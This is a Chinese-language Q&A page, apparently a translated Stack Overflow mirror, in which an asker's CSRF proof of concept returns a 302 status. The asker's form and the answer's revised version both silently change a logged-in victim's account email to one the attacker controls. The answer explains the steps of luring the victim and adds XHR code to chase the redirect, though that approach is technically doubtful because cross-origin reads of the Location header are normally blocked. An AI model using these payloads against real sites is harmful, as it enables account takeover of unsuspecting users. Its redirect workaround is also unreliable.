我的CSRF PoC不起作用,csrf的请求得到302错误!!谁能帮我

问题描述 投票:0回答:1

我已经建立了CSRF PoC:

<html>
<head>
  <title>CSRF Demo</title>
</head>  
  <body>
    <form action="https://website.com" method="POST">
      <input type="hidden" name="utf8" value="✓">
      <input type="hidden" name="email_address[name]" value="hacker">
      <input type="hidden" name="email_address[address]" value="[email protected]">
      <input type="submit" value="submit">
    </form>
  </body>
</html>

但是当我运行代码时,它不起作用!我检查了请求,发现请求的状态码为:302

谁能告诉我为什么会发生以及如何解决它!谢谢!(对不起,英语不好,抱歉)

csrf
1个回答
0
投票

状态代码302是3xx代码:这是redirect status codes的族。更准确地说,status code 302表示资源已从请求的URL临时移动到另一个URL。此状态代码在HTTP 1.0 specification中引入,并在HTTP 1.1 specification中被状态代码303代替。

[当获得状态码为302的HTTP响应时,您还将获得带有URL作为其值的Location标头:这是您重定向到的URL。大多数浏览器会自动执行此操作,并向新URL发出相同的请求,但实际情况可能并非如此。

在这种情况下,我假设您的CSRF的工作方式如下:

  1. 您使用上面的HTML代码创建了一个伪造的网页,该网页隐藏了表单字段。
  2. 您诱使一个毫无戒心的用户访问此网页,希望他已登录。
  3. 该表单将使用用户不知道的,已登录用户的cookie(会话ID或其他)提交到URL,从而使用您代表用户控制的参数执行恶意操作。

这里的问题是,您要将表单发送到一个URL,该URL会给您另一个URL,这是您应该在其中发送表单的位置。但是,该请求必须来自用户的浏览器,才能发送其cookie。

解决此问题的一种方法是弄清楚重定向URL是否始终相同,并将该URL硬编码到您的表单中,而不是原始的URL中。另一种更安全的方法是以编程方式(例如,使用XHR getResponseHeader)恢复此URL,然后将请求发送到重定向URL。

后一种方法可以如下实现:

<html>
<head>
  <title>CSRF Demo</title>
</head>  
<body>
  <form id="malicious" action="https://website.com" method="POST">
    <input type="hidden" name="utf8" value="✓">
    <input type="hidden" name="email_address[name]" value="hacker">
    <input type="hidden" name="email_address[address]" value="[email protected]">
    <input type="submit" value="submit">
  </form>
  <script>
    const XHR = new XMLHttpRequest();

    XHR.onreadystatechange = function() {
      if (XHR.readyState == 4 && XHR.status == 302) {
        // Send the form again to the correct URL
        const redirectURL = XHR.getResponseHeader("Location");
        document.getElementById("malicious").setAttribute("action", redirectURL);
      }
    }

    // Get the redirect URL
    XHR.open("POST", "https://website.com");
    XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    XHR.send("utf8=✓&email_address[name]=hacker&email_address[address][email protected]");
  </script>
</body>
</html>

我用httpstat测试了此实现,该生成的响应带有所需的状态码。当用户按下提交按钮时,表单应该被提交到正确的URL。此[[does假定您确实在获取302代码,并且浏览器/工具未执行自动重定向!

© www.soinside.com 2019 - 2024. All rights reserved.